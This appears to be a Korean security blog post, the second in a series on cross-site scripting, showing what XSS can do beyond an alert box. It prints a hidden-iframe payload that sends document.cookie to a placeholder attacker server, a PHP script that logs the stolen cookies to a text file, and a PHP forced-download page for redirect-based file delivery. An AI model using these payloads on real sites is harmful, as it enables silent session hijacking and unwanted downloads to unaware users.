2022.08.24 - [웹] - [Web] 크로스 사이트 스크립트(XSS) 정리 - 1
1편에서 XSS 취약점에 대해 다양한 방법으로 우회했다면
2편에서는 XSS를 가지고 할 수 있는 일들에 대해 정리해보자 한다.
보통 XSS 진단 시에 alert 창을 띄우는 것으로 끝내는 경우가 많다.
하지만 좀 더 나아가서 alert창을 띄우지 않고
사용자가 전혀 모르게 스크립트가 동작하는게 일반적인 공격방법이다.
만약 위 처럼 document.cookie를 이용하여 실제로 공격을 한다고하면 아래 영상과 같이 페이지에 접근 했을 때 사용자에겐 아무런 반응이 없지만
실제로는 스크립트가 동작하여 공격자의 DB또는 영상과같이 txt 파일로 세션정보가 적재되는 것이다.
위에서 사용된 스크립트는 다음과 같다
<script>document.write("<iframe src='공격자서버"+document.cookie+"' width=0 height=0 frameborder=0></iframe>")</script>
공격자의 서버에 사용자의 세션이 저장되는 이유는 아래와 같은 코드로 작성된 페이지로 리다이렉트되기 때문에
xssdata.txt 라는 텍스트파일에 data 파라미터로 온 값을 저장하게 된다.
물론 data 파라미터는 위 공격 스크립트에서 document.cookie가 담기게끔 하는 것이다.
<?php
$cookie=$_GET['data']; //data 파라미터 cookie 변수에 저장
$atime=date("y-m-d H:i:s"); //날짜및 시간을 변수에 저장
$log=fopen("xssdata.txt","a");
fwrite($log,$atime." ".$cookie."\r\n");
fclose($log);
?>
이 외에도 정교하게 만들어진 로그인 페이지나 prompt를 띄워서 사용자의 개인정보나 계정정보를 입력하게끔 유도할 수도 있다.
이 역시 입력을 하게되면 공격자의 서버로 사용자가 알아차리지 못하게 전송이 된다.
XSS를 활용한 다양한 공격방법을 실습할 수 있는 툴로는 kali linux의 BeeF 라는 툴이 있다.
https://www.kali.org/tools/beef-xss/
악성사이트 리다이렉트도 XSS를 이용한 공격 중 일부이지만
이 리다이렉트를 이용한 파일 강제 다운로드도 가능하다.
일단 공격자 서버에 파일 다운로드 페이지를 생성한다
<?php
$target_Dir = "파일 경로";
$file = "파일 이름";
$down = $target_Dir.$file;
$filesize = filesize($down);
if(file_exists($down)){
header("Content-Type:application/octet-stream");
header("Content-Disposition:attachment;filename=$file");
header("Content-Transfer-Encoding:binary");
header("Content-Length:".filesize($target_Dir.$file));
header("Cache-Control:cache,must-revalidate");
header("Pragma:no-cache");
header("Expires:0");
if(is_file($down)){
$fp = fopen($down,"r");
while(!feof($fp)){
$buf = fread($fp,8096);
$read = strlen($buf);
print($buf);
flush();
}
fclose($fp);
}
} else{
?><script>alert("존재하지 않는 파일입니다.")</script><?php
}
?>
페이지에 접근만 하면 파일이 다운로드 되고 결국 이 페이지로 스크립트를 삽입하여 리다이렉트하면
아래 영상과 같이 파일이 다운로드 된다.
이렇게 다양한 스크립트를 활용해서 사용자가 눈치채지 못하게 공격을 할 수있다.
스크립트를 어떻게 짜느냐에 따라 천차만별로 나뉠 수도 있고 우회기법도 많고 공격 방법도 다양한 XSS는 가볍게 넘길 취약점이 아니라고 생각한다.
'웹' 카테고리의 다른 글
[Web/Android/iOS] 취약한 HTTPS 관련 항목 진단 (0) | 2023.03.08 |
---|---|
[웹] 웹 방화벽(WAF) 우회 - SQL injection (1) | 2022.10.14 |
[Web] 크로스 사이트 스크립트(XSS) 정리 - 1 (1) | 2022.08.24 |
[웹] SQL Injection을 이용한 다양한 공격 기법 (Feat. sqlmap) - 2 (0) | 2022.07.26 |